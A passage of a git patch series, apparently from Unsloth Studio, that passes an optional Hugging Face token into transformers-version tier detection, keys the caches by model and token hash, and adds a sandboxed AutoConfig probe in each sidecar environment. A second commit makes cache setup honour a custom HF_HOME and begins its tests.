 # activate_transformers_for_subprocess — issue #6103
 # The early log must make clear it only prepends to sys.path; the real
@@ -1130,7 +1603,7 @@ class TestActivateLoggingClarity:
                 ),
                 patch(
                     "utils.transformers_version.get_transformers_tier",
-                    side_effect = lambda m: tiers[m],
+                    side_effect = lambda m, t = None: tiers[m],
                 ),
                 patch(
                     "utils.transformers_version._ensure_venv_t5_510_exists",
@@ -1157,7 +1630,7 @@ class TestActivateLoggingClarity:
         snap = self._snapshot_env()
         seen = []
 
-        def fake_tier(m):
+        def fake_tier(m, t = None):
             seen.append(m)
             return "550" if "gemma-4" in m else "default"
 
@@ -1618,14 +2091,15 @@ class TestCheckConfigNeeds530:
         with patch("utils.transformers_version._load_config_json", return_value = None):
             assert _check_config_needs_530("org/unreachable-model") is False
 
-    def test_result_is_cached(self):
-        with patch(
-            "utils.transformers_version._load_config_json",
-            return_value = {"model_type": "qwen3_5"},
-        ) as mock_load:
-            _check_config_needs_530("cached-model")
-            _check_config_needs_530("cached-model")
-            assert mock_load.call_count == 1
+    def test_result_is_cached(self, tmp_path: Path):
+        """A definitive (local) read is cached by (model, token), mirroring 510/550."""
+        cfg = {"model_type": "qwen3_5"}
+        (tmp_path / "config.json").write_text(json.dumps(cfg))
+
+        key = (str(tmp_path), None)
+        _check_config_needs_530(str(tmp_path))
+        assert key in _config_needs_530_cache
+        assert _config_needs_530_cache[key] is True
 
 
 # ---------------------------------------------------------------------------
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 959b9e99cd..1d9ba88aa6 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -149,14 +149,19 @@ _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = {
     "TokenizersBackend",
 }
 
-# Cache for dynamic tokenizer_config.json lookups (avoids repeated fetches).
-_tokenizer_class_cache: dict[str, bool] = {}
-
-# config.json cache keyed on (model_name, token-hash) so authed/unauthed reads stay separate.
+# Caches keyed on (model_name, token-hash) so authed/unauthed reads stay separate (a
+# gated/private repo's unauthenticated miss must not poison a later authenticated lookup).
+_tokenizer_class_cache: dict[tuple[str, str | None], bool] = {}
 _config_json_cache: dict[tuple[str, str | None], dict | None] = {}
-_config_needs_510_cache: dict[str, bool] = {}
-_config_needs_550_cache: dict[str, bool] = {}
-_config_needs_530_cache: dict[str, bool] = {}
+_config_needs_510_cache: dict[tuple[str, str | None], bool] = {}
+_config_needs_550_cache: dict[tuple[str, str | None], bool] = {}
+_config_needs_530_cache: dict[tuple[str, str | None], bool] = {}
+
+# AutoConfig-probe tier cache for the process lifetime (cleared on restart), keyed by
+# model_name plus a local config.json signature (see _probe_cache_key) so an overwritten
+# checkpoint re-probes. Not keyed by Hub sha, so the probe never imports huggingface_hub
+# before a worker's sidecar venv is activated (which would pin the wrong hub).
+_probe_tier_cache: dict[str, str] = {}
 
 # Versions
 TRANSFORMERS_510_VERSION = "5.10.2"
@@ -185,25 +190,29 @@ def _higher_tier(a: str, b: str) -> str:
     return a if _TIER_RANK.get(a, 0) >= _TIER_RANK.get(b, 0) else b
 
 
-def activate_transformers_for_subprocess(model_name: str) -> None:
+def activate_transformers_for_subprocess(model_name: str, hf_token: str | None = None) -> None:
     """Activate the correct transformers version in a subprocess worker.
 
     Call BEFORE any ML imports. Resolves LoRA adapters to their base model,
     determines the required tier, prepends the appropriate ``.venv_t5_*`` dir to
     ``sys.path``, and propagates it via ``PYTHONPATH`` for child processes
     (e.g. GGUF converter). Used by training, inference, and export workers.
+
+    ``hf_token`` is forwarded to tier detection so a gated/private model whose only 5.x
+    signal is an authenticated config/tokenizer reaches the right sidecar, not the default.
     """
-    # Pre-resolve only LoRA adapters; full checkpoints go to get_transformers_tier
-    # so their local config.json drives the tier (avoids a fragile HF-id probe).
+    # Pre-resolve only LoRA adapters; full checkpoints go to get_transformers_tier so their
+    # local config.json drives the tier (a full checkpoint with a private/offline
+    # _name_or_path must not resolve to an unreachable HF id and skip its own config).
     if _is_lora_adapter_dir(Path(model_name)):
         resolved = _resolve_base_model(model_name)
     else:
         resolved = model_name
-    tier = get_transformers_tier(resolved)
-    if model_name != resolved and (Path(model_name) / "config.json").is_file():
+    tier = get_transformers_tier(resolved, hf_token)
+    if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
         # Gate on a real local config.json: a checkpoint carries config the base may not
         # surface, but path names alone must not upgrade a plain adapter.
-        tier = _higher_tier(tier, get_transformers_tier(model_name))
+        tier = _higher_tier(tier, get_transformers_tier(model_name, hf_token))
 
     if tier == "510":
         if not _ensure_venv_t5_510_exists():
@@ -372,6 +381,15 @@ def _resolve_base_model(model_name: str) -> str:
     return model_name
 
 
+def _token_cache_key(model_name: str, hf_token: str | None) -> tuple[str, str | None]:
+    """Cache key that keeps authenticated and unauthenticated reads separate, so an
+    unauthenticated miss on a gated/private repo never poisons a later authed lookup."""
+    import hashlib
+
+    tok = hashlib.sha256(hf_token.encode()).hexdigest()[:16] if hf_token else None
+    return (model_name, tok)
+
+
 def _is_canonical_repo_id(model_name: str) -> bool:
     """True for a canonical ``owner/repo`` Hub id (not a local or relative path)."""
     return bool(
@@ -469,15 +487,18 @@ def _remote_lora_base(model_name: str, hf_token: str | None = None) -> str | Non
         return _adapter_base_from_hf_cache(model_name)
 
 
-def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
+def _check_tokenizer_config_needs_v5(model_name: str, hf_token: str | None = None) -> bool:
     """True if the model's tokenizer_class requires transformers 5.x.
 
-    Checks local tokenizer_config.json, else fetches from HuggingFace. Cached in
-    ``_tokenizer_class_cache``. Returns False on any network/parse error
+    Checks local tokenizer_config.json, else fetches from HuggingFace (authenticated
+    with ``hf_token`` so gated/private repos resolve). Cached in
+    ``_tokenizer_class_cache``, keyed by (model, token) so an unauthenticated miss does
+    not poison a later authed read. Returns False on any network/parse error
     (fail-open to default version).
     """
-    if model_name in _tokenizer_class_cache:
-        return _tokenizer_class_cache[model_name]
+    cache_key = _token_cache_key(model_name, hf_token)
+    if cache_key in _tokenizer_class_cache:
+        return _tokenizer_class_cache[cache_key]
 
     # --- Check local tokenizer_config.json first ---------------------------
     local_path = Path(model_name)
@@ -494,22 +515,30 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
                     model_name,
                     tokenizer_class,
                 )
-            _tokenizer_class_cache[model_name] = result
+            _tokenizer_class_cache[cache_key] = result
             return result
         except Exception as exc:
             logger.debug("Could not read %s: %s", local_tc, exc)
 
+    # Local checkpoint without the file yet: don't fetch it as a Hub id or cache the miss,
+    # so a file written later this process (in-progress checkpoint) is read next call.
+    if _safe_is_dir(local_path):
+        return False
+
     # Offline: skip the 10s urllib fetch (fail-open to lower tier).
     if _env_offline():
-        _tokenizer_class_cache[model_name] = False
+        _tokenizer_class_cache[cache_key] = False
         return False
 
     # --- Fall back to fetching from HuggingFace ----------------------------
     import urllib.request
 
     url = f"https://huggingface.co/{model_name}/raw/main/tokenizer_config.json"
+    headers = {"User-Agent": "unsloth-studio"}
+    if hf_token:
+        headers["Authorization"] = f"Bearer {hf_token}"
     try:
-        req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"})
+        req = urllib.request.Request(url, headers = headers)
         with urllib.request.urlopen(req, timeout = 10) as resp:
             data = json.loads(resp.read().decode())
         tokenizer_class = data.get("tokenizer_class", "")
@@ -520,11 +549,11 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
                 model_name,
                 tokenizer_class,
             )
-        _tokenizer_class_cache[model_name] = result
+        _tokenizer_class_cache[cache_key] = result
         return result
     except Exception as exc:
         logger.debug("Could not fetch tokenizer_config.json for '%s': %s", model_name, exc)
-        _tokenizer_class_cache[model_name] = False
+        _tokenizer_class_cache[cache_key] = False
         return False
 
 
@@ -598,6 +627,11 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
             _config_json_cache[cache_key] = None
             return None
 
+    # Local checkpoint without the file yet: don't fetch it as a Hub id or cache the miss,
+    # so a file written later this process (in-progress checkpoint) is read next call.
+    if _safe_is_dir(Path(model_name)):
+        return None
+
     if _env_offline():
         # No network: a previously downloaded repo can still tier from the hub cache.
         cfg = _config_json_from_hf_cache(model_name)
@@ -631,10 +665,10 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
         return _config_json_from_hf_cache(model_name)
 
 
-def _config_json_is_definitive(model_name: str) -> bool:
-    """True if the last unauthenticated ``_load_config_json`` read was cached (definitive),
-    not a transient fallback (deliberately not stored, so callers re-check next call)."""
-    return (model_name, None) in _config_json_cache
+def _config_json_is_definitive(model_name: str, hf_token: str | None = None) -> bool:
+    """True if the last ``_load_config_json`` read for this model+token was cached
+    (definitive), not a transient fallback (not stored, so callers re-check next call)."""
+    return _token_cache_key(model_name, hf_token) in _config_json_cache
 
 
 def _config_matches_tier(cfg: dict, architectures: set[str], model_types: set[str]) -> bool:
@@ -694,14 +728,16 @@ def _config_needs_530(cfg: dict) -> bool:
     )
 
 
-def _check_config_needs_550(model_name: str) -> bool:
+def _check_config_needs_550(model_name: str, hf_token: str | None = None) -> bool:
     """True if ``config.json`` needs transformers 5.5.0 (e.g. Gemma 4). Local first, else
-    fetched; cached only for a definitive read so a transient miss retries. False on error.
+    fetched (authenticated with ``hf_token``); cached by (model, token) only for a definitive
+    read so a transient miss retries. False on error.
     """
-    if model_name in _config_needs_550_cache:
-        return _config_needs_550_cache[model_name]
+    cache_key = _token_cache_key(model_name, hf_token)
+    if cache_key in _config_needs_550_cache:
+        return _config_needs_550_cache[cache_key]
 
-    cfg = _load_config_json(model_name)
+    cfg = _load_config_json(model_name, hf_token)
     result = bool(cfg) and _config_needs_550(cfg)
     if result:
         logger.info(
@@ -711,26 +747,22 @@ def _check_config_needs_550(model_name: str) -> bool:
             cfg.get("architectures", []),
             cfg.get("model_type"),
         )
-    if _config_json_is_definitive(model_name):
-        _config_needs_550_cache[model_name] = result
+    if _config_json_is_definitive(model_name, hf_token):
+        _config_needs_550_cache[cache_key] = result
     return result
 
 
-def _check_config_needs_530(model_name: str) -> bool:
-    """Check ``config.json`` for 5.3.0-only architectures (Qwen3.5, Qwen3 MoE, GLM-4.7, LFM2.5-VL).
-
-    Used in the slow HF-ID path for private/renamed repos where name substrings
-    aren't reliable.
+def _check_config_needs_530(model_name: str, hf_token: str | None = None) -> bool:
+    """True if ``config.json`` needs transformers 5.3.0 (Qwen3.5, Qwen3 MoE, GLM-4.7, LFM2.5-VL).
+    Local first, else fetched (authenticated with ``hf_token``); cached by (model, token) only
+    for a definitive read so a transient miss retries. False on error.
     """
-    if model_name in _config_needs_530_cache:
-        return _config_needs_530_cache[model_name]
+    cache_key = _token_cache_key(model_name, hf_token)
+    if cache_key in _config_needs_530_cache:
+        return _config_needs_530_cache[cache_key]
 
-    cfg = _load_config_json(model_name)
-    if cfg is None:
-        _config_needs_530_cache[model_name] = False
-        return False
-
-    result = _config_needs_530(cfg)
+    cfg = _load_config_json(model_name, hf_token)
+    result = bool(cfg) and _config_needs_530(cfg)
     if result:
         logger.info(
             "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)",
@@ -739,16 +771,19 @@ def _check_config_needs_530(model_name: str) -> bool:
             cfg.get("architectures", []),
             cfg.get("model_type"),
         )
-    _config_needs_530_cache[model_name] = result
+    if _config_json_is_definitive(model_name, hf_token):
+        _config_needs_530_cache[cache_key] = result
     return result
 
 
-def _check_config_needs_510(model_name: str) -> bool:
-    """Check ``config.json`` for Gemma 4 Unified / 12B architectures."""
-    if model_name in _config_needs_510_cache:
-        return _config_needs_510_cache[model_name]
+def _check_config_needs_510(model_name: str, hf_token: str | None = None) -> bool:
+    """Check ``config.json`` for Gemma 4 Unified / 12B architectures (authenticated with
+    ``hf_token``; cached by (model, token) only for a definitive read)."""
+    cache_key = _token_cache_key(model_name, hf_token)
+    if cache_key in _config_needs_510_cache:
+        return _config_needs_510_cache[cache_key]
 
-    cfg = _load_config_json(model_name)
+    cfg = _load_config_json(model_name, hf_token)
     result = bool(cfg) and _config_needs_510(cfg)
     if result:
         logger.info(
@@ -758,11 +793,227 @@ def _check_config_needs_510(model_name: str) -> bool:
             cfg.get("architectures", []),
             cfg.get("model_type"),
         )
-    if _config_json_is_definitive(model_name):
-        _config_needs_510_cache[model_name] = result
+    if _config_json_is_definitive(model_name, hf_token):
+        _config_needs_510_cache[cache_key] = result
     return result
 
 
+def _config_saved_by_transformers_5(cfg: dict | None) -> bool:
+    """True if ``config.json``'s ``transformers_version`` is >= 5. Only a cheap "worth
+    probing" hint (the saving version, not the minimum to load); the default-first probe
+    decides the actual tier."""
+    if not isinstance(cfg, dict):
+        return False
+    ver = cfg.get("transformers_version")
+    if not isinstance(ver, str):
+        return False
+    try:
+        return int(ver.strip().split(".", 1)[0]) >= 5
+    except ValueError:
+        return False
+
+
+def _cached_config_json(model_name: str, hf_token: str | None) -> dict | None:
+    """Already-fetched config.json from the in-process cache (no new fetch); the tier checks
+    above populate it, and a miss just skips the version-field probe."""
+    return _config_json_cache.get(_token_cache_key(model_name, hf_token))
+
+
+# --- AutoConfig probe: general tier resolution for ambiguous models ----------
+# When the cheap signals only say "needs some 5.x", parse config.json with the built-in
+# parser in each candidate sidecar (lowest first) instead of guessing. Generalizes beyond
+# the hardcoded lists, e.g. dense NemotronH whose '-' (MLP) layer only 5.10 can parse.
+_PROBE_TIER_ORDER = ("530", "550", "510")
+_PROBE_TIMEOUT_SECS = 60
+
+# config.json-only parse in a sidecar (--target dir on sys.path, no per-venv python).
+# Built-in parser only, no repo code, no weights. Exit 0 = parses; token via env, not argv.
+_PROBE_CONFIG_SCRIPT = r"""
+import sys, os
+os.environ["TOKENIZERS_PARALLELISM"] = "false"
+target_dir, model_name = sys.argv[1], sys.argv[2]
+if target_dir:  # empty = probe the ambient (default 4.57.x) transformers, no sidecar prepend
+    sys.path.insert(0, target_dir)
+try:
+    from transformers import AutoConfig
+    AutoConfig.from_pretrained(model_name, trust_remote_code=False)
+    sys.exit(0)
+except Exception as exc:
+    # stderr encoding may not be UTF-8 (e.g. cp1252 on Windows); write bytes so a
+    # non-ASCII error message cannot itself raise UnicodeEncodeError.
+    sys.stderr.buffer.write((type(exc).__name__ + ": " + str(exc)).encode("utf-8", "replace"))
+    sys.exit(1)
+"""
+
+# stderr fragments meaning "couldn't fetch/auth", NOT "needs a newer parser".
+_PROBE_TRANSIENT_MARKERS = (
+    "ConnectionError",
+    "HTTPError",
+    "Timeout",
+    "Max retries",
+    "Temporary failure",
+    "GatedRepoError",
+    "RepositoryNotFoundError",
+    "LocalEntryNotFoundError",
+    "OfflineModeIsEnabled",
+    "401",
+    "403",
+    "404",
+)
+
+
+def _stderr_is_transient(err: str) -> bool:
+    return any(marker in err for marker in _PROBE_TRANSIENT_MARKERS)
+
+
+def _probe_tier_venvs():
+    """tier -> (target_dir, ensure_fn), a function so the later _ensure_* defs resolve. The
+    ``default`` entry (empty target_dir = ambient 4.57.x) is only probed with include_default."""
+    return {
+        "default": ("", lambda: True),
+        "530": (_VENV_T5_530_DIR, _ensure_venv_t5_530_exists),
+        "550": (_VENV_T5_550_DIR, _ensure_venv_t5_550_exists),
+        "510": (_VENV_T5_510_DIR, _ensure_venv_t5_510_exists),
+    }
+
+
+def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) -> bool | None:
+    """Parse config.json with the built-in parser inside *target_dir*'s sidecar.
+    True = parses, False = parse/version failure (escalate), None = transient
+    (auth/network/offline/spawn) so the caller fails safe and does not cache.
+    """
+    env = child_env_without_native_path_secret()
+    if hf_token:
+        env["HF_TOKEN"] = hf_token
+        # The probe relies on the implicit HF_TOKEN env (no token= arg). Clear any inherited
+        # HF_HUB_DISABLE_IMPLICIT_TOKEN=1 so a gated repo authenticates instead of 401ing
+        # into the 530 fail-safe.
+        env["HF_HUB_DISABLE_IMPLICIT_TOKEN"] = "0"
+    if _env_offline():
+        env["HF_HUB_OFFLINE"] = "1"
+        env["TRANSFORMERS_OFFLINE"] = "1"
+    try:
+        result = subprocess.run(
+            [sys.executable, "-c", _PROBE_CONFIG_SCRIPT, target_dir, model_name],
+            capture_output = True,
+            text = True,
+            errors = "replace",
+            timeout = _PROBE_TIMEOUT_SECS,
+            env = env,
+            **_windows_hidden_subprocess_kwargs(),
+        )
+    except subprocess.TimeoutExpired:
+        logger.warning("AutoConfig probe timed out for '%s' in %s", model_name, target_dir)
+        return None
+    except Exception as exc:
+        logger.warning("AutoConfig probe could not spawn for '%s': %s", model_name, exc)
+        return None
+    if result.returncode == 0:
+        return True
+    err = (result.stderr or "").strip()
+    if _stderr_is_transient(err):
+        logger.warning("AutoConfig probe transient failure for '%s': %s", model_name, err)
+        return None
+    logger.info("AutoConfig probe parse failure for '%s' in %s: %s", model_name, target_dir, err)
+    return False
+
+
+def _probe_cache_key(model_name: str) -> str:
+    """Cache key for the probe result. A local checkpoint can be overwritten in place, so
+    fold in a cheap config.json signature (size + mtime) and re-probe when it changes.
+    Remote ids key by name alone (resolving a Hub revision would need a pre-activation hub
+    import that pins the wrong env)."""
+    try:
+        config_path = (Path(model_name) / "config.json").resolve()
+        st = config_path.stat()
+    except OSError:
+        return model_name
+    return f"{config_path}\0{st.st_size}:{st.st_mtime_ns}"
+
+
+def _probe_tier(
+    model_name: str,
+    hf_token: str | None,
+    reason: str,
+    *,
+    include_default: bool = False,
+    floor: str = "530",
+) -> str:
+    """Lowest tier whose built-in parser loads the config; *floor* is the fail-safe.
+
+    Escalates ``_PROBE_TIER_ORDER`` (prefixed with the ambient ``default`` tier when
+    ``include_default``), returning the first that parses; never raises or escalates on
+    uncertainty:
+      - first success wins (cached unless a lower tier was skipped);
+      - transient failure (auth/network/offline) -> *floor*, uncached;
+      - a skipped/uninstallable sidecar -> uncached (a lower tier may yet be the answer);
+      - all tiers probed, none parse -> remote-code/custom model_type; keep *floor*.
+
+    Known-5.x callers use ``floor='530'``; weak-signal callers (config saved by transformers
+    5.x) use ``include_default=True, floor='default'`` so a model that still parses on 4.57.x
+    stays on the default. Cached per _probe_cache_key (process lifetime). No Hub sha is
+    resolved: that would import huggingface_hub before the sidecar is on sys.path.
+    """
+    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes"):
+        return floor
+    key = _probe_cache_key(model_name)
+    # Key by probe mode: the default-first path can return 'default', which must not be
+    # reused for a tokenizer/known-5.x caller (floor='530'). Legacy 530 keeps the bare key.
+    if include_default or floor != "530":
+        key = f"{key}\0floor={floor}:def={int(include_default)}"
+    if key in _probe_tier_cache:
+        return _probe_tier_cache[key]
+
+    def _cache(tier: str, *, skipped: bool) -> str:
+        # Do not pin a result that depended on a skipped lower tier: once that sidecar is
+        # available the lowest valid tier may differ, so re-probe next call.
+        if not skipped:
+            _probe_tier_cache[key] = tier
+        return tier
+
+    venvs = _probe_tier_venvs()
+    order = (("default",) + _PROBE_TIER_ORDER) if include_default else _PROBE_TIER_ORDER
+    probed_count = 0
+    skipped_any = False
+    for tier in order:
+        target_dir, ensure_fn = venvs[tier]
+        try:
+            available = ensure_fn()
+        except Exception:
+            available = False
+        if not available:
+            skipped_any = True
+            continue
+        probed_count += 1
+        ok = _probe_autoconfig(target_dir, model_name, hf_token)
+        if ok is True:
+            logger.info(
+                "Transformers tier %s selected for %s (AutoConfig probe; %s)",
+                tier,
+                model_name,
+                reason,
+            )
+            return _cache(tier, skipped = skipped_any)
+        if ok is None:
+            logger.info("Tier probe inconclusive for %s (%s); using %s", model_name, reason, floor)
+            return floor  # transient: retry next load
+
+    # Nothing parsed. Only treat it as conclusive (and cache) when every tier was actually
+    # probed; a skipped sidecar means the environment is incomplete, so retry uncached.
+    if skipped_any or probed_count == 0:
+        logger.info(
+            "Tier probe incomplete for %s (%s); using %s (uncached)", model_name, reason, floor
+        )
+        return floor
+    logger.info(
+        "Transformers tier %s selected for %s (AutoConfig probe found no higher tier; %s)",
+        floor,
+        model_name,
+        reason,
+    )
+    return _cache(floor, skipped = False)
+
+
 def _norm_separators(s: str) -> str:
     """Collapse ``_``/whitespace to ``-`` (underscore aliases) but keep ``.`` so a
     version dot (``qwen3.5``) isn't conflated with a size separator (``Qwen3-5B``)."""
@@ -816,7 +1067,11 @@ def _higher_tier_name_override(name_hint: str | None) -> str | None:
     return hint[0] if hint is not None and hint[0] in ("510", "550") else None
 
 
-def get_transformers_tier(model_name: str) -> str:
+def get_transformers_tier(
+    model_name: str,
+    hf_token: str | None = None,
+    probe: bool = True,
+) -> str:
     """Return the transformers tier required for *model_name*.
 
     Returns ``"510"`` for models needing transformers 5.10.x (Gemma 4 Unified),
@@ -824,14 +1079,24 @@ def get_transformers_tier(model_name: str) -> str:
     ``"530"`` for models needing transformers 5.3.0 (e.g. Ministral-3, Qwen3 MoE),
     or ``"default"`` for everything else (4.57.x).
 
-    Higher 5.x tiers run first.  For local paths, ``config.json`` is checked
-    before name heuristics to avoid false-positives from directory name fragments.
+    Strong signals (architecture/model_type, name substrings) are fast paths. For local paths,
+    ``config.json`` is checked before name heuristics to avoid false-positives from directory
+    name fragments. When the only signal is the 5.x tokenizer class, the exact tier is resolved
+    by probing AutoConfig in each sidecar; a config saved by transformers 5.x with no fast-path
+    match is probed default-first, catching a new 5.x-only arch while 4.57.x-loadable models
+    stay on default.
+
+    ``probe=False`` skips the sidecar subprocesses (used by the cheap
+    :func:`needs_transformers_5`); it still classifies via cheap signals (a 5.x-saved config
+    returns ``"530"``). ``probe=True`` (the activation path) resolves the exact tier.
+
+    Higher 5.x tiers run first.
     """
     # Local path: trust config.json. If its arch matches a known sidecar, return;
     # else fall back to the HF id in the config (not the folder name) for renamed dirs.
     local_cfg = Path(model_name) / "config.json"
     if _safe_is_file(local_cfg):
-        cfg = _load_config_json(model_name)
+        cfg = _load_config_json(model_name, hf_token)
         if cfg is not None:
             if _config_needs_510(cfg):
                 logger.info(
@@ -873,7 +1138,7 @@ def get_transformers_tier(model_name: str) -> str:
             resolved = _resolve_base_model(model_name)
             if resolved != model_name:
                 if _safe_is_dir(Path(resolved)):
-                    tier = get_transformers_tier(resolved)
+                    tier = get_transformers_tier(resolved, hf_token, probe = probe)
                     if tier != "default":
                         logger.info(
                             "Transformers tier %s selected for %s (resolved local path: %s)",
@@ -895,12 +1160,22 @@ def get_transformers_tier(model_name: str) -> str:
                         )
                         return tier
             local_tc = Path(model_name) / "tokenizer_config.json"
-            if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name):
-                logger.info(
-                    "Transformers tier 530 selected for %s (local tokenizer_config.json check)",
+            if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name, hf_token):
+                if not probe:
+                    return "530"
+                return _probe_tier(model_name, hf_token, "local tokenizer needs 5.x")
+            if _config_saved_by_transformers_5(cfg):
+                if not probe:
+                    return "530"  # cheap 5.x hint; the real path resolves the exact tier
+                tier = _probe_tier(
                     model_name,
+                    hf_token,
+                    "local config saved by transformers 5.x",
+                    include_default = True,
+                    floor = "default",
                 )
-                return "530"
+                if tier != "default":
+                    return tier
             logger.info(
                 "Transformers tier default (4.57.x) selected for %s (local config.json no match)",
                 model_name,
@@ -919,17 +1194,17 @@ def get_transformers_tier(model_name: str) -> str:
         )
         return tier
 
-    # --- Slow config fallbacks (network for HF IDs) ------------------------
-    if _check_config_needs_510(model_name):
+    # --- Slow config fallbacks (network for HF IDs; authenticated with hf_token) --------
+    if _check_config_needs_510(model_name, hf_token):
         logger.info("Transformers tier 510 selected for %s (config.json check)", model_name)
         return "510"
-    if _check_config_needs_550(model_name):
+    if _check_config_needs_550(model_name, hf_token):
         logger.info("Transformers tier 550 selected for %s (config.json check)", model_name)
         return "550"
-    if _check_config_needs_530(model_name):
-        # Same Qwen3.6 caveat as the local path: honor a _name_or_path name hint
-        # before selecting 530.
-        remote_cfg = _load_config_json(model_name) or {}
+    if _check_config_needs_530(model_name, hf_token):
+        # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name; honor a real Hub-id name
+        # hint from _name_or_path before selecting 530.
+        remote_cfg = _load_config_json(model_name, hf_token) or {}
         base = remote_cfg.get("_name_or_path") or remote_cfg.get("model_name")
         override = _higher_tier_name_override(
             base if isinstance(base, str) and base != model_name else None
@@ -943,12 +1218,23 @@ def get_transformers_tier(model_name: str) -> str:
             return override
         logger.info("Transformers tier 530 selected for %s (config.json check)", model_name)
         return "530"
-    if _check_tokenizer_config_needs_v5(model_name):
-        logger.info(
-            "Transformers tier 530 selected for %s (tokenizer_config.json check)",
+    if _check_tokenizer_config_needs_v5(model_name, hf_token):
+        if not probe:
+            return "530"
+        return _probe_tier(model_name, hf_token, "tokenizer needs 5.x")
+
+    if _config_saved_by_transformers_5(_cached_config_json(model_name, hf_token)):
+        if not probe:
+            return "530"  # cheap 5.x hint; the real path resolves the exact tier
+        tier = _probe_tier(
             model_name,
+            hf_token,
+            "config saved by transformers 5.x",
+            include_default = True,
+            floor = "default",
         )
-        return "530"
+        if tier != "default":
+            return tier
 
     logger.info("Transformers tier default (4.57.x) selected for %s (no match)", model_name)
     return "default"
@@ -957,9 +1243,11 @@ def get_transformers_tier(model_name: str) -> str:
 def needs_transformers_5(model_name: str) -> bool:
     """Return True if *model_name* requires any transformers 5.x version.
 
-    Convenience wrapper around :func:`get_transformers_tier`.
+    Convenience wrapper around :func:`get_transformers_tier`. Passes ``probe=False`` so a
+    log-only parent caller never spawns sidecar probes (the worker re-resolves the exact
+    tier with ``probe=True`` on the real activation path).
     """
-    return get_transformers_tier(model_name) != "default"
+    return get_transformers_tier(model_name, probe = False) != "default"
 
 
 # ---------------------------------------------------------------------------
@@ -1236,7 +1524,7 @@ def ensure_transformers_version(model_name: str) -> None:
     else:
         resolved = model_name
     tier = get_transformers_tier(resolved)
-    if model_name != resolved and (Path(model_name) / "config.json").is_file():
+    if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
         # Gate on a real local config.json: a checkpoint carries config the base may not
         # surface, but path names alone must not upgrade a plain adapter.
         tier = _higher_tier(tier, get_transformers_tier(model_name))

From 7bd8e64921c5cff9fad53295009ab9620ba0c1af Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 08:21:59 -0700
Subject: [PATCH 036/306] Studio: honor custom HF_HOME for model download and
 load (#6510)

* Studio: honor custom HF_HOME for model download and load

_setup_cache_env always derived HF_HUB_CACHE and HF_XET_CACHE from
XDG_CACHE_HOME / ~/.cache, ignoring a user-set HF_HOME. Because it sets
HF_HUB_CACHE explicitly and that variable takes precedence over HF_HOME
in huggingface_hub, the hub cache was pinned to the standard location: a
model already present under a custom HF_HOME was detected but then
re-downloaded from scratch on load.

Seed HF_HUB_CACHE and HF_XET_CACHE from HF_HOME when the user set it
(HF's own default is $HF_HOME/hub and $HF_HOME/xet), and honor the legacy
HUGGINGFACE_HUB_CACHE alias. The hub download workers call
snapshot_download without a cache_dir for both the Xet and HTTP-fallback
paths, so they follow HF_HUB_CACHE; fixing it here unifies detection and
both transports on one root. Explicit HF_HUB_CACHE / HF_XET_CACHE stay
untouched. Adds tests for the custom-HF_HOME, default, explicit-override,
and legacy-alias cases. Fixes #5182.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: do not crash startup when a custom HF_HOME is not writable

Seeding HF_HUB_CACHE/HF_XET_CACHE from HF_HOME means _setup_cache_env now
mkdir's under a user-controlled path. A non-writable or not-yet-mounted
HF_HOME (typo, offline drive) would raise and crash startup, where the old
code silently fell back. Make the mkdir best-effort; the env var is still
set, so HF reports a clear error at download time. Adds a regression test.

* Studio: strip blank HF_HOME and isolate cache-env tests

Address review: a whitespace-only HF_HOME no longer derives " /hub";
strip it and fall back to the default (matches studio_root). Tests set
UNSLOTH_STUDIO_HOME to a tmp dir so _setup_cache_env's UV/VLLM mkdirs do
not touch the real ~/.unsloth/studio. Adds a whitespace regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../tests/test_setup_cache_env_hf_home.py     | 125 ++++++++++++++++++
 studio/backend/utils/paths/storage_roots.py   |  27 +++-
 2 files changed, 146 insertions(+), 6 deletions(-)
 create mode 100644 studio/backend/tests/test_setup_cache_env_hf_home.py

diff --git a/studio/backend/tests/test_setup_cache_env_hf_home.py b/studio/backend/tests/test_setup_cache_env_hf_home.py
new file mode 100644
index 0000000000..4520c93a51
--- /dev/null
+++ b/studio/backend/tests/test_setup_cache_env_hf_home.py
@@ -0,0 +1,125 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""_setup_cache_env() must seed HF_HUB_CACHE / HF_XET_CACHE from a user-set
+HF_HOME, so models download to and load from the same custom location (issue
+#5182). Both the Xet and HTTP-fallback download workers call snapshot_download
+without a cache_dir, so they follow HF_HUB_CACHE; getting it right here fixes
+detection and both transports at once.
+"""
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_STORAGE_ROOTS_PATH = Path(__file__).resolve().parent.parent / "utils/paths/storage_roots.py"
+
+
+@pytest.fixture(autouse = True)
+def _isolate_studio_home(monkeypatch, tmp_path):
+    # Keep _setup_cache_env's UV/VLLM mkdirs out of the real ~/.unsloth/studio.
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path / "studio"))
+
+
